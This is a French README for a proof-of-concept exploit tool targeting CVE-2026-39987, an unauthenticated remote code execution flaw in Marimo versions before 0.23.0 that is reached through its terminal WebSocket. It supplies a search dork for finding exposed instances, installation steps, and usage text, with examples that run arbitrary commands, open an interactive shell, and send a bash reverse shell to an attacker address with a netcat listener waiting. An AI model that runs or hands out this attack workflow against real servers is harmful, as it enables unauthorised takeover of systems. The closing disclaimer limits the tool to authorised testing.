
Outil d'exploitation de CVE-2026-39987 - Marimo < 0.23.0 RCE sans authentification (WebSocket)
Exploit de preuve de concept (PoC) pour une vulnérabilité critique d'exécution de code à distance (RCE) avant authentification dans les versions de Marimo antérieures à 0.23.0.
La vulnérabilité permet à un attaquant non authentifié de se connecter au point de terminaison WebSocket (/terminal/ws) et d'exécuter des commandes système arbitraires sur le serveur cible.
/api/version).--no-check pour les environnements où les points de terminaison pourraient être masqués.Vous pouvez utiliser le dork suivant pour identifier les instances potentiellement vulnérables :
http.favicon.hash:-1864630356
Il est recommandé d'utiliser un environnement virtuel Python pour installer les dépendances.
# 1. Clone the repository
git clone https://github.com/M3PH1569/CVE-2026-39987-POC.git
cd CVE-2026-39987-POC
# 2. Create and activate a virtual environment
python -m venv .CVE-2026-39987
# Windows
.CVE-2026-39987\Scripts\activate
# Linux/macOS
source .CVE-2026-39987/bin/activate
# 3. Upgrade pip and Install required dependencies
# Windows
py pip install --upgrade pip ; pip install -r requirements.txt
# Linux/MacOS
python3 pip install --upgrade pip && pip install -r requirements.txt
usage: CVE-2026-39987.py [-h] [-i] [--revshell IP PORT] [--ping-interval SEC] [--ping-timeout SEC] [--no-ping] [--max-retries N] [--no-reconnect] [--no-check] target [command]
positional arguments:
target Target URL (e.g. http://localhost:8080)
command Command to execute (omit when using -i)
options:
-h, --help show this help message and exit
--no-check Skip vulnerability version check
Execution modes:
-i, --interactive Interactive shell mode
--revshell IP PORT Generate & send a bash reverse shell payload
WebSocket tuning:
--ping-interval SEC WebSocket ping interval in seconds (default: 30, more frequent for stability)
--ping-timeout SEC WebSocket ping timeout in seconds (default: 300, increased from 120 for slow servers)
--no-ping Disable WebSocket ping/pong entirely (recommended if still disconnect)
Reconnect options:
--max-retries N Max auto-reconnect attempts (default: 5)
--no-reconnect Disable auto-reconnect on unexpected disconnect
1. Exécuter une commande unique :
python CVE-2026-39987.py http://target.com:8080 "id"
2. Lancer un shell interactif :
python CVE-2026-39987.py http://target.com:8080 -i
3. Exécuter un reverse shell :
Assurez-vous qu'un listener netcat est en cours d'exécution sur votre machine (par exemple, nc -lvnp 4444).
python CVE-2026-39987.py http://target.com:8080 --revshell 10.0.0.1 4444
4. Ignorer les vérifications et forcer l'exécution :
python CVE-2026-39987.py http://target.com:8080 "whoami" --no-check
Les contributions sont les bienvenues ! N'hésitez pas à soumettre une Pull Request.
git checkout -b feature/update-feature)git commit -m 'Add update feature')git push origin feature/update-feature)Cet outil est strictement destiné à des fins éducatives et au hacking éthique autorisé. L'auteur n'est pas responsable de toute utilisation abusive, des dommages ou des activités illégales causés par ce script. Assurez-vous toujours d'obtenir une autorisation explicite du propriétaire du système avant d'effectuer tout test de sécurité. Toute utilisation non autorisée de ce script est illégale et passible de poursuites judiciaires.
Ce projet est sous licence MIT - consultez le fichier LICENSE pour plus de détails.